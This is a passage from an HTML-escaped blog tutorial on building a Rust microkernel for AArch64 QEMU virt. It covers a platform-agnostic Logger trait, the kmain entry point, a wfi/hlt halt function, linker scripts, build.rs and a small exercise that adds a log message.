&lt;/figure&gt;
&lt;p&gt;This bridges the gap between our platform-specific UART driver and the platform-agnostic kernel. The kernel never calls &lt;code&gt;UartLogger::puts&lt;/code&gt; directly. It calls &lt;code&gt;logger.log()&lt;/code&gt; on a trait object. More on this in the next section.&lt;/p&gt;
&lt;h2 id=&#34;11-the-platform-agnostic-kernel&#34;&gt;11. The platform-agnostic kernel&lt;/h2&gt;
&lt;p&gt;Here&amp;rsquo;s the design payoff. The kernel crate knows nothing about ARM, nothing about UART, nothing about QEMU. It just knows it has something that can log strings.&lt;/p&gt;
&lt;h3 id=&#34;111-the-logger-trait&#34;&gt;11.1 The Logger trait&lt;/h3&gt;
&lt;figure id=&#34;logger-trait&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;pub&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;trait&lt;/span&gt; Logger {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;fn&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;log&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;, s: &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;str&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;crates/hal/src/log.rs&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Three lines. That&amp;rsquo;s the entire hardware abstraction layer for output. Any platform that can print strings can implement this trait.&lt;/p&gt;
&lt;h3 id=&#34;112-the-kernel-entry&#34;&gt;11.2 The kernel entry&lt;/h3&gt;
&lt;figure id=&#34;kernel-lib&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#![no_std]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;use&lt;/span&gt; hal::log::Logger;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;mod&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;ipc&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;mod&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;sched&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;use&lt;/span&gt; core::cell::UnsafeCell;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#[repr(transparent)]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;RouterCell&lt;/span&gt;(UnsafeCell&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&lt;/span&gt;ipc::Router&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;unsafe&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;impl&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;Sync&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; RouterCell {}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Force the router into a writable section. On some bare-metal targets, a `static`
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// with interior mutability can otherwise end up in a read-only segment, causing
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// a data abort when we first write to it (exactly what we saw on aarch64 QEMU virt).
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#[link_section = &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;.data&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;static&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;ROUTER&lt;/span&gt;: &lt;span style=&#34;color:#eed49f&#34;&gt;RouterCell&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; RouterCell(UnsafeCell::new(ipc::Router::new()));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;pub&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;fn&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;kmain&lt;/span&gt;(logger: &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#eed49f&#34;&gt;dyn&lt;/span&gt; Logger) -&amp;gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;!&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    logger.log(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;rustOS: kernel online&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    logger.log(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;rustOS: microkernel step 1 (IPC + cooperative scheduling)&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ed8796&#34;&gt;let&lt;/span&gt; router: &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#eed49f&#34;&gt;mut&lt;/span&gt; ipc::Router &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;unsafe&lt;/span&gt; { &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;mut&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#eed49f&#34;&gt;ROUTER&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;0.&lt;/span&gt;get() };
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ed8796&#34;&gt;let&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;mut&lt;/span&gt; ping &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; sched::PingTask::new();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ed8796&#34;&gt;let&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;mut&lt;/span&gt; pong &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; sched::PongTask::new();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ed8796&#34;&gt;let&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;mut&lt;/span&gt; tasks: [&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;mut&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;dyn&lt;/span&gt; sched::Task; &lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;mut&lt;/span&gt; ping, &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;mut&lt;/span&gt; pong];
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    sched::run(&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;mut&lt;/span&gt; tasks, logger, router)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;crates/kernel/src/lib.rs&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Look at the &lt;code&gt;kmain&lt;/code&gt; signature: &lt;code&gt;fn kmain(logger: &amp;amp;dyn Logger) -&amp;gt; !&lt;/code&gt;. It takes a trait object (&lt;code&gt;&amp;amp;dyn Logger&lt;/code&gt;), not a concrete type. The kernel doesn&amp;rsquo;t know whether &lt;code&gt;logger&lt;/code&gt; is a PL011 UART, a COM1 serial port, or a carrier pigeon with a Morse code encoder. It just knows it can call &lt;code&gt;.log()&lt;/code&gt;. If you wanted to port this kernel to RISC-V or even a microcontroller with an SPI display, you&amp;rsquo;d implement &lt;code&gt;Logger&lt;/code&gt; for that platform&amp;rsquo;s output device and call &lt;code&gt;kmain&lt;/code&gt; with it.&lt;/p&gt;
&lt;p&gt;Notice the &lt;code&gt;#[link_section = &amp;quot;.data&amp;quot;]&lt;/code&gt; on the &lt;code&gt;ROUTER&lt;/code&gt; static. This is a hard-won lesson. On AArch64, the linker sometimes places statics with interior mutability (like &lt;code&gt;UnsafeCell&lt;/code&gt;) into read-only sections. The first write causes a data abort. Forcing it into &lt;code&gt;.data&lt;/code&gt; guarantees it lands in a writable section. We learned this the painful way.&lt;/p&gt;
&lt;p&gt;The IPC router and scheduler are the subject of &lt;a
	
		href = &#34;/post/2026/02/building-microkernel-part2-communication-ipc/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 2
	&lt;/span&gt;
&lt;/a&gt;. For now, just know that &lt;code&gt;kmain&lt;/code&gt; is where platform-agnostic kernel logic lives.&lt;/p&gt;
&lt;h3 id=&#34;113-the-halt-function&#34;&gt;11.3 The halt function&lt;/h3&gt;
&lt;figure id=&#34;halt-fn&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#[inline(always)]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;pub&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;fn&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;halt&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#[cfg(target_arch = &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;x86_64&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;)]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;unsafe&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        core::arch::&lt;span style=&#34;color:#8aadf4&#34;&gt;asm!&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;hlt&amp;#34;&lt;/span&gt;, options(nomem, nostack, preserves_flags));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#[cfg(target_arch = &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;aarch64&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;)]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;unsafe&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Use WFI (wait-for-interrupt) so we reliably sleep until the next IRQ.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// WFE can return immediately if an event is already latched.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;        core::arch::&lt;span style=&#34;color:#8aadf4&#34;&gt;asm!&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;wfi&amp;#34;&lt;/span&gt;, options(nomem, nostack, preserves_flags));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#[cfg(not(any(target_arch = &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;x86_64&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;, target_arch = &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;aarch64&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;)))]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;loop&lt;/span&gt; {}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;crates/hal/src/arch.rs&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;This is another piece of the hardware abstraction layer. On AArch64, &lt;code&gt;wfi&lt;/code&gt; (wait for interrupt) puts the CPU into a low-power sleep state until an interrupt fires. On x86_64, the equivalent is &lt;code&gt;hlt&lt;/code&gt;. The kernel code just calls &lt;code&gt;hal::arch::halt()&lt;/code&gt; and doesn&amp;rsquo;t care which instruction runs underneath.&lt;/p&gt;
&lt;p&gt;The comment about &lt;code&gt;wfe&lt;/code&gt; vs &lt;code&gt;wfi&lt;/code&gt; is interesting. &lt;code&gt;wfe&lt;/code&gt; (wait for event) can return immediately if an event flag is already set, which means your &amp;ldquo;sleep&amp;rdquo; loop might spin instead of sleeping. &lt;code&gt;wfi&lt;/code&gt; is more predictable: it always waits for an actual interrupt.&lt;/p&gt;
&lt;h2 id=&#34;12-linker-scripts&#34;&gt;12. Linker scripts&lt;/h2&gt;
&lt;p&gt;On bare metal, there&amp;rsquo;s no OS to decide where your code lives in memory. The linker script is the document that says: put &lt;code&gt;.text.boot&lt;/code&gt; first (so the CPU&amp;rsquo;s entry point is at the right address), put &lt;code&gt;.text&lt;/code&gt; after it, then &lt;code&gt;.rodata&lt;/code&gt;, &lt;code&gt;.data&lt;/code&gt;, &lt;code&gt;.bss&lt;/code&gt;, and finally the stack.&lt;/p&gt;
&lt;p&gt;Our linker script for the &lt;code&gt;virt&lt;/code&gt; platform places the kernel at &lt;code&gt;0x40080000&lt;/code&gt;. This is within the RAM region that starts at &lt;code&gt;0x40000000&lt;/code&gt; on the QEMU &lt;code&gt;virt&lt;/code&gt; machine. The &lt;code&gt;0x80000&lt;/code&gt; offset is a convention (it matches the Raspberry Pi&amp;rsquo;s load address offset), though for QEMU it&amp;rsquo;s somewhat arbitrary as long as it&amp;rsquo;s within RAM.&lt;/p&gt;
&lt;p&gt;The linker script also defines symbols like &lt;code&gt;__bss_start&lt;/code&gt;, &lt;code&gt;__bss_end&lt;/code&gt;, and &lt;code&gt;__stack_top&lt;/code&gt; that the assembly boot code references. Without these, the assembler would have no idea where BSS begins or where to put the stack.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;build.rs&lt;/code&gt; file for our crate tells cargo to use this linker script:&lt;/p&gt;
&lt;figure id=&#34;build-rs&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;fn&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;main&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8aadf4&#34;&gt;println!&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;cargo:rerun-if-changed=linker.ld&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8aadf4&#34;&gt;println!&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;cargo:rerun-if-changed=src/boot.S&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ed8796&#34;&gt;let&lt;/span&gt; manifest_dir &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; std::env::var(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;CARGO_MANIFEST_DIR&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        .expect(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;CARGO_MANIFEST_DIR not set&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8aadf4&#34;&gt;println!&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;cargo:rustc-link-arg=-T&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;/linker.ld&amp;#34;&lt;/span&gt;, manifest_dir);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;crates/arch_aarch64_virt/build.rs&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;The &lt;code&gt;cargo:rustc-link-arg=-T.../linker.ld&lt;/code&gt; line passes the linker script to the linker. Without it, the linker would use its default layout, which almost certainly wouldn&amp;rsquo;t put our code at the right address.&lt;/p&gt;
&lt;h2 id=&#34;13-hands-on-exercise&#34;&gt;13. Hands-on exercise&lt;/h2&gt;
&lt;p&gt;Here&amp;rsquo;s a quick challenge. Open &lt;code&gt;crates/kernel/src/lib.rs&lt;/code&gt; and add a second log message to &lt;code&gt;kmain&lt;/code&gt;:&lt;/p&gt;
&lt;figure id=&#34;exercise&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;pub&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;fn&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;kmain&lt;/span&gt;(logger: &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#eed49f&#34;&gt;dyn&lt;/span&gt; Logger) -&amp;gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;!&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    logger.log(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;rustOS: kernel online&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    logger.log(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;rustOS: microkernel step 1 (IPC + cooperative scheduling)&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    logger.log(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;rustOS: hello from YOUR_NAME_HERE!&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;);  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// add this
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// ... rest of the function
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Adding a custom log message&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Rebuild and run:&lt;/p&gt;
&lt;figure id=&#34;exercise-cmd&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;./scripts/build-aarch64-virt.sh demo-ipc
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;./scripts/run-aarch64-virt.sh&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Rebuild and verify&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;You should see your message appear between the boot messages and the scheduler output. One line of Rust. It traveled through a trait object, into a UART driver, through memory-mapped I/O, into a virtual PL011 peripheral, and out QEMU&amp;rsquo;s emulated serial port to your terminal.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s step back and look at what we&amp;rsquo;ve got. A 60-line assembly boot sequence that sets up a stack, zeros BSS, drops from EL2 to EL1, enables floating-point, installs an exception vector table, and hands off to Rust. A Rust entry point that initializes a PL011 UART driver and calls into a platform-agnostic kernel. A three-line Logger trait that abstracts away all the hardware details. And a kernel entry function that doesn&amp;rsquo;t know or care what CPU architecture it&amp;rsquo;s running on. It boots. It prints. It works. And everything from here builds on this foundation. The IPC system in &lt;a
	
		href = &#34;/post/2026/02/building-microkernel-part2-communication-ipc/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 2
	&lt;/span&gt;
&lt;/a&gt;, the timer interrupts in &lt;a
	
		href = &#34;/post/2026/03/building-microkernel-part3-concurrency-preemption/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 3
	&lt;/span&gt;
